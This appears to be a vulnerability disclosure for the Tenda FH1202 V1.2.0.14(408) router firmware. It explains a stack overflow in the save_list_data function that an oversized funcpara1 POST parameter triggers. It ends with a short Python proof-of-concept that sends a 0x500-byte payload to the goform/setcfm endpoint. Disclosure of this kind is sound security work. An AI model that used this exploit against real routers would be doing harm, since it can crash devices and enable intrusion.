- Firmware download website: https://www.tenda.com.cn/download/detail-2079.html
FH1202 V1.2.0.14(408)
The Tenda FH1202 V1.2.0.14(408) firmware has a stack overflow vulnerability located in the formSetCfm
function. This function accepts the funcpara1
parameter from a POST request and passes it to the save_list_data
function. Within save_list_data
, the array v10
is fixed at 64 bytes. However, since the user has control over the input of funcpara1
, the statement sprintf(v10, "%s.list%d", a1, v6);
leads to a buffer overflow. The user-supplied funcpara1
can exceed the capacity of the v10
array, thus triggering this security vulnerability.
import requests as re
s = re.Session()
url_base = 'http://192.168.84.101/'
# Send payload
url = url_base + 'goform/setcfm'
data = {
'funcname': 'save_list_data',
'funcpara1': b'a'*0x500,
'funcpara2':'aaaaaa'
}
res = re.post(url, data=data)